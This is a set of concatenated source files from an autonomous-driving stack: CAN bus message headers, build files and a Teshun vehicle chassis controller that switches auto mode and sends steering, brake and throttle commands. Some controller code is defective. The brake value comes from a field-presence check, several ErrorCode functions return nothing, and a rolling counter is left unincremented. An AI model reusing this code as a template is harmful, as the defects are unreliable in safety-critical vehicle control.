'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_nm_0x460_460::GwnmsleepindType gwnmsleepind(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'GWNMSleepAck', 'enum': {0: 'GWNMSLEEPACK_NOT_ACTIVE', 1: 'GWNMSLEEPACK_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_nm_0x460_460::GwnmsleepackType gwnmsleepack(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'GWNMDestAddr', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int gwnmdestaddr(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'GWNMAlive', 'enum': {0: 'GWNMALIVE_NOT_ACTIVE', 1: 'GWNMALIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_nm_0x460_460::GwnmaliveType gwnmalive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'GWNMRing', 'enum': {0: 'GWNMRING_NOT_ACTIVE', 1: 'GWNMRING_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_nm_0x460_460::GwnmringType gwnmring(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_CX75_PROTOCOL_GW_NM_0X460_460_H_ <file_sep># 数据 该模块包含了JmcAuto的数据解决方案,包括工具和基础设施来处理诸如收集、存储、处理等场景。 <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(status INTERFACE) target_link_libraries(status INTERFACE error_code_proto protobuf)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(lane_change_decider lane_change_decider.cc lane_change_decider.h) target_link_libraries(lane_change_decider /modules/map/pnc_map:route_segments planning_context planning_gflags reference_line_info planning_proto /modules/planning/tasks/deciders:decider_base com_google_absl//absl/strings) <file_sep>/* Copyright 2017 The JmcAuto Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "modules/canbus/vehicle/teshun/teshun_controller.h" #include "modules/common/proto/vehicle_signal.pb.h" #include "modules/canbus/vehicle/teshun/teshun_message_manager.h" #include "modules/canbus/vehicle/vehicle_controller.h" #include "modules/common/log.h" #include "modules/common/time/jmcauto_time.h" #include "modules/drivers/canbus/can_comm/can_sender.h" #include "modules/drivers/canbus/can_comm/protocol_data.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::ProtocolData; using ::jmc_auto::common::ErrorCode; using ::jmc_auto::control::ControlCommand; namespace { const int32_t kMaxFailAttempt = 10; const int32_t CHECK_RESPONSE_STEER_UNIT_FLAG = 1; const int32_t CHECK_RESPONSE_SPEED_UNIT_FLAG = 2; const int32_t CHECK_RESPONSE_GEAR_UNIT_FLAG = 3; } ErrorCode TeshunController::Init( const VehicleParameter& params, CanSender<::jmc_auto::canbus::ChassisDetail> *const can_sender, MessageManager<::jmc_auto::canbus::ChassisDetail> *const message_manager) { if (is_initialized_) { AINFO << "TeshunController has already been initiated."; return ErrorCode::CANBUS_ERROR; } vehicle_params_.CopyFrom( common::VehicleConfigHelper::instance()->GetConfig().vehicle_param()); params_.CopyFrom(params); if (!params_.has_driving_mode()) { AERROR << "Vehicle conf pb not set driving_mode."; return ErrorCode::CANBUS_ERROR; } if (can_sender == nullptr) { return ErrorCode::CANBUS_ERROR; } can_sender_ = can_sender; if (message_manager == nullptr) { AERROR << "protocol manager is null."; return ErrorCode::CANBUS_ERROR; } message_manager_ = message_manager; // sender part adu_bodycontrol_0x333_333_ = dynamic_cast<Adubodycontrol0x333333*> (message_manager_->GetMutableProtocolDataById(Adubodycontrol0x333333::ID)); if (adu_bodycontrol_0x333_333_ == nullptr) { AERROR << "Adubodycontrol0x333333 does not exist in the TeshunMessageManager!"; return ErrorCode::CANBUS_ERROR; } adu_controlbrake_0x110_110_ = dynamic_cast<Aducontrolbrake0x110110*> (message_manager_->GetMutableProtocolDataById(Aducontrolbrake0x110110::ID)); if (adu_controlbrake_0x110_110_ == nullptr) { AERROR << "Aducontrolbrake0x110110 does not exist in the TeshunMessageManager!"; return ErrorCode::CANBUS_ERROR; } adu_controldrive_0x120_120_ = dynamic_cast<Aducontroldrive0x120120*> (message_manager_->GetMutableProtocolDataById(Aducontroldrive0x120120::ID)); if (adu_controldrive_0x120_120_ == nullptr) { AERROR << "Aducontroldrive0x120120 does not exist in the TeshunMessageManager!"; return ErrorCode::CANBUS_ERROR; } adu_controleps2_0x100_100_ = dynamic_cast<Aducontroleps20x100100*> (message_manager_->GetMutableProtocolDataById(Aducontroleps20x100100::ID)); if (adu_controleps2_0x100_100_ == nullptr) { AERROR << "Aducontroleps20x100100 does not exist in the TeshunMessageManager!"; return ErrorCode::CANBUS_ERROR; } can_sender_->AddMessage(Adubodycontrol0x333333::ID, adu_bodycontrol_0x333_333_, false); can_sender_->AddMessage(Aducontrolbrake0x110110::ID, adu_controlbrake_0x110_110_, false); can_sender_->AddMessage(Aducontroldrive0x120120::ID, adu_controldrive_0x120_120_, false); can_sender_->AddMessage(Aducontroleps20x100100::ID, adu_controleps2_0x100_100_, false); // need sleep to ensure all messages received AINFO << "TeshunController is initialized."; is_initialized_ = true; return ErrorCode::OK; } TeshunController::~TeshunController() {} bool TeshunController::Start() { if (!is_initialized_) { AERROR << "TeshunController has NOT been initiated."; return false; } const auto& update_func = [this] { SecurityDogThreadFunc(); }; thread_.reset(new std::thread(update_func)); return true; } void TeshunController::Stop() { if (!is_initialized_) { AERROR << "TeshunController stops or starts improperly!"; return; } if (thread_ != nullptr && thread_->joinable()) { thread_->join(); thread_.reset(); AINFO << "TeshunController stopped."; } } Chassis TeshunController::chassis() { chassis_.Clear(); ChassisDetail chassis_detail; message_manager_->GetSensorData(&chassis_detail); // 21, 22, previously 1, 2 if (driving_mode() == Chassis::EMERGENCY_MODE) { set_chassis_error_code(Chassis::NO_ERROR); } chassis_.set_driving_mode(driving_mode()); chassis_.set_error_code(chassis_error_code()); // 3 chassis_.set_engine_started(true); /* ADD YOUR OWN CAR CHASSIS OPERATION */ /////////speed if (chassis_detail.teshun().has_gw_abs_sts_0x221_221() && chassis_detail.teshun().gw_abs_sts_0x221_221().has_abs_vehspdlgt()) { chassis_.set_speed_mps( static_cast<float>(chassis_detail.teshun().gw_abs_sts_0x221_221().abs_vehspdlgt())); } else { chassis_.set_speed_mps(0); } //////////throttle if (chassis_detail.teshun().has_gw_mcu_output_0x225_225() && chassis_detail.teshun().gw_mcu_output_0x225_225().has_mcu_trq_meas()) { chassis_.set_throttle_percentage(static_cast<float>( chassis_detail.teshun().gw_mcu_output_0x225_225().mcu_trq_meas())); } else { chassis_.set_throttle_percentage(0); } //////////brake if (chassis_detail.teshun().has_ibc_status_0x122_122() && chassis_detail.teshun().ibc_status_0x122_122().has_ibc_brkpedalrawposition()) { chassis_.set_brake_percentage(static_cast<float>( chassis_detail.teshun().ibc_status_0x122_122().has_ibc_brkpedalrawposition())); } else { chassis_.set_brake_percentage(0); } ///////////gear if (chassis_detail.teshun().has_gw_scu_shiftersts_0xc8_c8() && chassis_detail.teshun().gw_scu_shiftersts_0xc8_c8().has_shifterposition()) { Chassis::GearPosition gear_pos = Chassis::GEAR_INVALID; if (chassis_detail.teshun().gw_scu_shiftersts_0xc8_c8().shifterposition() == Gw_scu_shiftersts_0xc8_c8::SHIFTERPOSITION_NEUTRAL) { gear_pos = Chassis::GEAR_NEUTRAL; } if (chassis_detail.teshun().gw_scu_shiftersts_0xc8_c8().shifterposition() == Gw_scu_shiftersts_0xc8_c8::SHIFTERPOSITION_REVERSE) { gear_pos = Chassis::GEAR_REVERSE; } if (chassis_detail.teshun().gw_scu_shiftersts_0xc8_c8().shifterposition() == Gw_scu_shiftersts_0xc8_c8::SHIFTERPOSITION_DRIVE) { gear_pos = Chassis::GEAR_DRIVE; } if (chassis_detail.teshun().gw_scu_shiftersts_0xc8_c8().shifterposition() == Gw_scu_shiftersts_0xc8_c8::SHIFTERPOSITION_PARK) { gear_pos = Chassis::GEAR_PARKING; } chassis_.set_gear_location(gear_pos); } else { chassis_.set_gear_location(Chassis::GEAR_NONE); } /////////////steer if (chassis_detail.teshun().has_eps2_status_0x112_112() && chassis_detail.teshun().eps2_status_0x112_112().has_eps_steeringwheelang()) { chassis_.set_steering_percentage(static_cast<float>( chassis_detail.teshun().eps2_status_0x112_112().eps_steeringwheelang() * 100.0 / vehicle_params_.max_steer_angle())); } else { chassis_.set_steering_percentage(0); } if (chassis_error_mask_) { chassis_.set_chassis_error_mask(chassis_error_mask_); } if (chassis_detail.has_surround()) { chassis_.mutable_surround()->CopyFrom(chassis_detail.surround()); } // give engage_advice based on error_code and canbus feedback if (!chassis_error_mask_ && !chassis_.parking_brake() && (chassis_.throttle_percentage() == 0.0)) { chassis_.mutable_engage_advice()->set_advice( jmc_auto::common::EngageAdvice::READY_TO_ENGAGE); } else { chassis_.mutable_engage_advice()->set_advice( jmc_auto::common::EngageAdvice::DISALLOW_ENGAGE); //chassis_.mutable_engage_advice()->set_reason( // "CANBUS not ready, firmware error or emergency button pressed!"); } return chassis_; } void TeshunController::Emergency() { set_driving_mode(Chassis::EMERGENCY_MODE); ResetProtocol(); } ErrorCode TeshunController::EnableAutoMode() { if (driving_mode() == Chassis::COMPLETE_AUTO_DRIVE) { AINFO << "already in COMPLETE_AUTO_DRIVE mode"; return ErrorCode::OK; } adu_controleps2_0x100_100_->set_adu_controepsenable( Adu_controleps2_0x100_100::ADU_CONTROEPSENABLE_ENABLE); adu_controlbrake_0x110_110_->set_adu_controbrk_enable( Adu_controlbrake_0x110_110::ADU_CONTROBRK_ENABLE_ENABLE); adu_controldrive_0x120_120_->set_adu_controtorque_enable( Adu_controldrive_0x120_120::ADU_CONTROTORQUE_ENABLE_ENABLE); adu_controldrive_0x120_120_->set_adu_targetgear_enable( Adu_controldrive_0x120_120::ADU_TARGETGEAR_ENABLE_ENABLE); AINFO << "\n\n\n set enable \n\n\n"; can_sender_->Update(); const int32_t flag = CHECK_RESPONSE_STEER_UNIT_FLAG | CHECK_RESPONSE_SPEED_UNIT_FLAG | CHECK_RESPONSE_GEAR_UNIT_FLAG; if (!CheckResponse(flag, true)) { AERROR << "Failed to switch to COMPLETE_AUTO_DRIVE mode."; Emergency(); set_chassis_error_code(Chassis::CHASSIS_ERROR); return ErrorCode::CANBUS_ERROR; } else { set_driving_mode(Chassis::COMPLETE_AUTO_DRIVE); AINFO << "Switch to COMPLETE_AUTO_DRIVE mode ok."; return ErrorCode::OK; } } ErrorCode TeshunController::DisableAutoMode() { adu_controleps2_0x100_100_->set_adu_controepsenable( Adu_controleps2_0x100_100::ADU_CONTROEPSENABLE_DISABLE); adu_controlbrake_0x110_110_->set_adu_controbrk_enable( Adu_controlbrake_0x110_110::ADU_CONTROBRK_ENABLE_DISABLE); adu_controldrive_0x120_120_->set_adu_controtorque_enable( Adu_controldrive_0x120_120::ADU_CONTROTORQUE_ENABLE_DISABLE); adu_controldrive_0x120_120_->set_adu_targetgear_enable( Adu_controldrive_0x120_120::ADU_TARGETGEAR_ENABLE_DISABLE); ResetProtocol(); can_sender_->Update(); set_driving_mode(Chassis::COMPLETE_MANUAL); set_chassis_error_code(Chassis::NO_ERROR); AINFO << "Switch to COMPLETE_MANUAL ok."; return ErrorCode::OK; } ErrorCode TeshunController::EnableSteeringOnlyMode() { //if (driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || // driving_mode() == Chassis::AUTO_STEER_ONLY) { // set_driving_mode(Chassis::AUTO_STEER_ONLY); AINFO << "Already in AUTO_STEER_ONLY mode"; return ErrorCode::OK; //} //return ErrorCode::OK; /* ADD YOUR OWN CAR CHASSIS OPERATION brake_60_->set_disable(); throttle_62_->set_disable(); steering_64_->set_enable(); can_sender_->Update(); if (CheckResponse(CHECK_RESPONSE_STEER_UNIT_FLAG, true) == false) { AERROR << "Failed to switch to AUTO_STEER_ONLY mode."; Emergency(); set_chassis_error_code(Chassis::CHASSIS_ERROR); return ErrorCode::CANBUS_ERROR; } else { set_driving_mode(Chassis::AUTO_STEER_ONLY); AINFO << "Switch to AUTO_STEER_ONLY mode ok."; return ErrorCode::OK; } */ } ErrorCode TeshunController::EnableRemoteMode() { if (driving_mode() == Chassis::REMOTE_MODE) { AINFO << "already in REMOTE_MODE mode"; return ErrorCode::OK; } adu_controleps2_0x100_100_->set_adu_controepsenable( Adu_controleps2_0x100_100::ADU_CONTROEPSENABLE_DISABLE); adu_controlbrake_0x110_110_->set_adu_controbrk_enable( Adu_controlbrake_0x110_110::ADU_CONTROBRK_ENABLE_DISABLE); adu_controldrive_0x120_120_->set_adu_controtorque_enable( Adu_controldrive_0x120_120::ADU_CONTROTORQUE_ENABLE_DISABLE); adu_controldrive_0x120_120_->set_adu_targetgear_enable( Adu_controldrive_0x120_120::ADU_TARGETGEAR_ENABLE_DISABLE); ResetProtocol(); can_sender_->Update(); set_driving_mode(Chassis::COMPLETE_MANUAL); set_chassis_error_code(Chassis::NO_ERROR); AINFO << "Switch to COMPLETE_MANUAL ok."; return ErrorCode::OK; } //cx75在vechicle_control中添加的虚函数实现 ErrorCode TeshunController::EnableAPAMode() {} ErrorCode TeshunController::DisableAPAMode() {} void TeshunController::SteerTorque(double torque) {}; void TeshunController::PamStopDistance(int distance) {}; void TeshunController::SpeedTarget(float speed){}; ErrorCode TeshunController::EnableSpeedOnlyMode() { // if (driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || // driving_mode() == Chassis::AUTO_SPEED_ONLY) { // set_driving_mode(Chassis::AUTO_SPEED_ONLY); AINFO << "Already in AUTO_SPEED_ONLY mode"; return ErrorCode::OK; // } // return ErrorCode::OK; /* ADD YOUR OWN CAR CHASSIS OPERATION brake_60_->set_enable(); throttle_62_->set_enable(); steering_64_->set_disable(); can_sender_->Update(); if (CheckResponse(CHECK_RESPONSE_SPEED_UNIT_FLAG, true) == false) { AERROR << "Failed to switch to AUTO_STEER_ONLY mode."; Emergency(); set_chassis_error_code(Chassis::CHASSIS_ERROR); return ErrorCode::CANBUS_ERROR; } else { set_driving_mode(Chassis::AUTO_SPEED_ONLY); AINFO << "Switch to AUTO_SPEED_ONLY mode ok."; return ErrorCode::OK; } */ } // NEUTRAL, REVERSE, DRIVE void TeshunController::Gear(Chassis::GearPosition gear_position) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_SPEED_ONLY)) { AINFO << "this drive mode no need to set gear."; return; } switch (gear_position) { case Chassis::GEAR_NEUTRAL: { adu_controldrive_0x120_120_->set_adu_targetgear_position(Adu_controldrive_0x120_120::ADU_TARGETGEAR_POSITION_N_NEUTRAL); break; } case Chassis::GEAR_REVERSE: { adu_controldrive_0x120_120_->set_adu_targetgear_position(Adu_controldrive_0x120_120::ADU_TARGETGEAR_POSITION_R_REVERSE); break; } case Chassis::GEAR_DRIVE: { adu_controldrive_0x120_120_->set_adu_targetgear_position(Adu_controldrive_0x120_120::ADU_TARGETGEAR_POSITION_D_DRIVE); break; } case Chassis::GEAR_PARKING: { adu_controldrive_0x120_120_->set_adu_targetgear_position(Adu_controldrive_0x120_120::ADU_TARGETGEAR_POSITION_P_PARK); break; } case Chassis::GEAR_INVALID: { AERROR << "Gear command is invalid!"; adu_controldrive_0x120_120_->set_adu_targetgear_position(Adu_controldrive_0x120_120::ADU_TARGETGEAR_POSITION_N_NEUTRAL); break; } default: { adu_controldrive_0x120_120_->set_adu_targetgear_position(Adu_controldrive_0x120_120::ADU_TARGETGEAR_POSITION_N_NEUTRAL); break; } } } // brake with new acceleration // acceleration:0.00~99.99, unit: // acceleration:0.0 ~ 7.0, unit:m/s^2 // acceleration_spd:60 ~ 100, suggest: 90 // -> pedal void TeshunController::Brake(double pedal) { // double real_value = params_.max_acc() * acceleration / 100; // TODO Update brake value based on mode if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_SPEED_ONLY)) { AINFO << "The current drive mode does not need to set acceleration."; return; } adu_controlbrake_0x110_110_->set_adu_brktmcposition_req(static_cast<int>(pedal)); IC_Rolling_counter_0x110++; if(IC_Rolling_counter_0x110>15) { IC_Rolling_counter_0x110=0; } adu_controlbrake_0x110_110_->set_ic_rolling_counter_0x110(IC_Rolling_counter_0x110); } // drive with old acceleration // gas:0.00~99.99 unit: void TeshunController::Throttle(double pedal) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_SPEED_ONLY)) { AINFO << "The current drive mode does not need to set acceleration."; return; } adu_controldrive_0x120_120_->set_adu_targetdrving_torque(static_cast<int>(pedal)*50); /*Rolling_counter_0x120++; if(Rolling_counter_0x120>15) { Rolling_counter_0x120=0; }*/ adu_controldrive_0x120_120_->set_rolling_counter_0x120(Rolling_counter_0x120); } void TeshunController::Acceleration(double acc) {} // teshun default, -470 ~ 470, left:+, right:- // need to be compatible with control module, so reverse // steering with old angle speed // angle:-99.99~0.00~99.99, unit:, left:-, right:+ void TeshunController::Steer(double angle) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_STEER_ONLY)) { AINFO << "The current driving mode does not need to set steer."; return; } const double real_angle = vehicle_params_.max_steer_angle() * angle / 100.0; // reverse sign adu_controleps2_0x100_100_->set_adu_controsteeringwheelangle(real_angle); } // steering with new angle speed // angle:-99.99~0.00~99.99, unit:, left:-, right:+ // angle_spd:0.00~99.99, unit:deg/s void TeshunController::Steer(double angle, double angle_spd) { if (!(driving_mode() == Chassis::COMPLETE_AUTO_DRIVE || driving_mode() == Chassis::AUTO_STEER_ONLY)) { AINFO << "The current driving mode does not need to set steer."; return; } // ADD YOUR OWN CAR CHASSIS OPERATION const double real_angle = vehicle_params_.max_steer_angle() * angle / 100.0; // const double min_steer_angle_rate=vehicle_params_.min_steer_angle_rate(); // const double max_steer_angle_rate=vehicle_params_.max_steer_angle_rate(); // const double real_angle_spd = ProtocolData::BoundedValue( // min_steer_angle_rate, max_steer_angle_rate, // max_steer_angle_rate * angle_spd / 100.0); //const double real_angle_spd =vehicle_params_.max_steer_angle_rate() * angle_spd / 100.0; adu_controleps2_0x100_100_->set_adu_controsteeringwheelangle(real_angle); adu_controleps2_0x100_100_->set_adu_ctrsteeringwheelanglespeed(angle_spd); AINFO << "angle_spd:"<<angle_spd; ADU_100h_MessageCounter++; //if (ADU_100h_MessageCounter>15) //{ // ADU_100h_MessageCounter=0; //} //adu_controleps2_0x100_100_->set_adu_100h_messagecounter(ADU_100h_MessageCounter); } void TeshunController::SetEpbBreak(const ControlCommand& command) { /*if (command.parking_brake()) { // None } else { // None }*/ } void TeshunController::SetBeam(const ControlCommand& command) { /* if (command.signal().high_beam()) { // None } else if (command.signal().low_beam()) { // None } else { // None }*/ } void TeshunController::SetHorn(const ControlCommand& command) { /* if (command.signal().horn()) { // None } else { // None }*/ } void TeshunController::SetTurningSignal(const ControlCommand& command) { // Set Turn Signal /* ADD YOUR OWN CAR CHASSIS OPERATION auto signal = command.signal().turn_signal(); if (signal == Signal::TURN_LEFT) { turnsignal_68_->set_turn_left(); } else if (signal == Signal::TURN_RIGHT) { turnsignal_68_->set_turn_right(); } else { turnsignal_68_->set_turn_none(); } */ } void TeshunController::ResetProtocol() { message_manager_->ResetSendMessages(); } bool TeshunController::CheckChassisError() { /* ADD YOUR OWN CAR CHASSIS OPERATION */ ChassisDetail chassis_detail; message_manager_->GetSensorData(&chassis_detail); if (!chassis_detail.has_ch()) { AERROR_EVERY(100) << "ChassisDetail has NO ch vehicle info." << chassis_detail.DebugString(); return false; } Teshun teshun = chassis_detail.teshun(); // steer motor fault if (teshun.has_eps2_status_0x112_112()) { if (Eps2_status_0x112_112::EPS_SASFAILURESTS_SENSOR_INFORMATION_INVALID__AN_INTERNAL_SENSOR_FAULT_OCCURRED == teshun.eps2_status_0x112_112().eps_sasfailurests()) { return true; } } // drive error // brake error if (teshun.has_ibc_status_0x122_122()) { if (Ibc_status_0x122_122::IBC_SYSTEMSTATUS_SYSTEM_FAULT == teshun.ibc_status_0x122_122().ibc_systemstatus()) { return true; } } return false; } void TeshunController::SecurityDogThreadFunc() { int32_t vertical_ctrl_fail = 0; int32_t horizontal_ctrl_fail = 0; if (can_sender_ == nullptr) { AERROR << "Fail to run SecurityDogThreadFunc() because can_sender_ is " "nullptr."; return; } while (!can_sender_->IsRunning()) { std::this_thread::yield(); } std::chrono::duration<double, std::micro> default_period{50000}; int64_t start = 0; int64_t end = 0; while (can_sender_->IsRunning()) { start = ::jmc_auto::common::time::AsInt64<::jmc_auto::common::time::micros>( ::jmc_auto::common::time::Clock::Now()); const Chassis::DrivingMode mode = driving_mode(); bool emergency_mode = false; // 1. horizontal control check if ((mode == Chassis::COMPLETE_AUTO_DRIVE || mode == Chassis::AUTO_STEER_ONLY) && CheckResponse(CHECK_RESPONSE_STEER_UNIT_FLAG, false) == false) { ++horizontal_ctrl_fail; if (horizontal_ctrl_fail >= kMaxFailAttempt) { emergency_mode = true; set_chassis_error_code(Chassis::MANUAL_INTERVENTION); } } else { horizontal_ctrl_fail = 0; } // 2. vertical control check if ((mode == Chassis::COMPLETE_AUTO_DRIVE || mode == Chassis::AUTO_SPEED_ONLY) && CheckResponse(CHECK_RESPONSE_SPEED_UNIT_FLAG, false) == false) { ++vertical_ctrl_fail; if (vertical_ctrl_fail >= kMaxFailAttempt) { emergency_mode = true; set_chassis_error_code(Chassis::MANUAL_INTERVENTION); } } else { vertical_ctrl_fail = 0; } if (CheckChassisError()) { set_chassis_error_code(Chassis::CHASSIS_ERROR); emergency_mode = true; } if (emergency_mode && mode != Chassis::EMERGENCY_MODE) { set_driving_mode(Chassis::EMERGENCY_MODE); message_manager_->ResetSendMessages(); } end = ::jmc_auto::common::time::AsInt64<::jmc_auto::common::time::micros>( ::jmc_auto::common::time::Clock::Now()); std::chrono::duration<double, std::micro> elapsed{end - start}; if (elapsed < default_period) { std::this_thread::sleep_for(default_period - elapsed); } else { AERROR << "Too much time consumption in TeshunController looping process:" << elapsed.count(); } } } bool TeshunController::CheckResponse(const int32_t flags, bool need_wait) { /* ADD YOUR OWN CAR CHASSIS OPERATION */ int32_t retry_num = 20; ChassisDetail chassis_detail; bool is_eps_online = false; bool is_vcu_online = false; bool is_esp_online = false; bool is_switch_online = false; do { if (message_manager_->GetSensorData(&chassis_detail) != ErrorCode::OK) { AERROR_EVERY(100) << "get chassis detail failed."; return false; } bool check_ok = true; if (flags & CHECK_RESPONSE_STEER_UNIT_FLAG) { is_eps_online = chassis_detail.has_check_response() && chassis_detail.check_response().has_is_eps_online() && chassis_detail.check_response().is_eps_online(); check_ok = check_ok && is_eps_online; } if (flags & CHECK_RESPONSE_SPEED_UNIT_FLAG) { is_vcu_online = chassis_detail.has_check_response() && chassis_detail.check_response().has_is_vcu_online() && chassis_detail.check_response().is_vcu_online(); is_esp_online = chassis_detail.has_check_response() && chassis_detail.check_response().has_is_esp_online() && chassis_detail.check_response().is_esp_online(); check_ok = check_ok && is_vcu_online && is_esp_online; } if (flags & CHECK_RESPONSE_GEAR_UNIT_FLAG) { is_switch_online = chassis_detail.has_check_response() && chassis_detail.check_response().has_is_switch_online() && chassis_detail.check_response().is_switch_online(); check_ok = check_ok && is_switch_online; } if (check_ok) { return true; } else { AINFO << "Need to check response again."; } if (need_wait) { --retry_num; std::this_thread::sleep_for( std::chrono::duration<double, std::milli>(20)); } } while (need_wait && retry_num); AINFO << "check_response fail: is_eps_online:" << is_eps_online << ", is_vcu_online:" << is_vcu_online << ", is_esp_online:" << is_esp_online << ", is_switch_online:" << is_switch_online; return false; } void TeshunController::set_chassis_error_mask(const int32_t mask) { std::lock_guard<std::mutex> lock(chassis_mask_mutex_); chassis_error_mask_ = mask; } int32_t TeshunController::chassis_error_mask() { std::lock_guard<std::mutex> lock(chassis_mask_mutex_); return chassis_error_mask_; } Chassis::ErrorCode TeshunController::chassis_error_code() { std::lock_guard<std::mutex> lock(chassis_error_code_mutex_); return chassis_error_code_; } void TeshunController::set_chassis_error_code( const Chassis::ErrorCode& error_code) { std::lock_guard<std::mutex> lock(chassis_error_code_mutex_); chassis_error_code_ = error_code; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_BCM_BODYSTS_0X344_344_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_BCM_BODYSTS_0X344_344_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Bcmbodysts0x344344 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Bcmbodysts0x344344(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'BCM_BrakeLampStatus', 'enum': {0: 'BCM_BRAKELAMPSTATUS_BRAKE_LAMP_INACTIVE', 1: 'BCM_BRAKELAMPSTATUS_BRAKE_LAMP_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_brakelampstatusType bcm_brakelampstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_RearfogLampStatus', 'enum': {0: 'BCM_REARFOGLAMPSTATUS_INVALID', 1: 'BCM_REARFOGLAMPSTATUS_OFF', 2: 'BCM_REARFOGLAMPSTATUS_ON', 3: 'BCM_REARFOGLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_rearfoglampstatusType bcm_rearfoglampstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_FrontfogLampStatus', 'enum': {0: 'BCM_FRONTFOGLAMPSTATUS_INVALID', 1: 'BCM_FRONTFOGLAMPSTATUS_OFF', 2: 'BCM_FRONTFOGLAMPSTATUS_ON', 3: 'BCM_FRONTFOGLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_frontfoglampstatusType bcm_frontfoglampstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_WasherStatus', 'enum': {0: 'BCM_WASHERSTATUS_INVALID', 1: 'BCM_WASHERSTATUS_OFF', 2: 'BCM_WASHERSTATUS_ON', 3: 'BCM_WASHERSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_washerstatusType bcm_washerstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_WiperStatus', 'enum': {0: 'BCM_WIPERSTATUS_INVALID', 1: 'BCM_WIPERSTATUS_OFF', 2: 'BCM_WIPERSTATUS_LOW_SPEED', 3: 'BCM_WIPERSTATUS_HIGH_SPEED', 7: 'BCM_WIPERSTATUS_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_wiperstatusType bcm_wiperstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_Doorlockfeedback', 'enum': {0: 'BCM_DOORLOCKFEEDBACK_INVALID', 1: 'BCM_DOORLOCKFEEDBACK_LOCK_ACTION', 2: 'BCM_DOORLOCKFEEDBACK_UNLOCK_ACTION', 3: 'BCM_DOORLOCKFEEDBACK_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 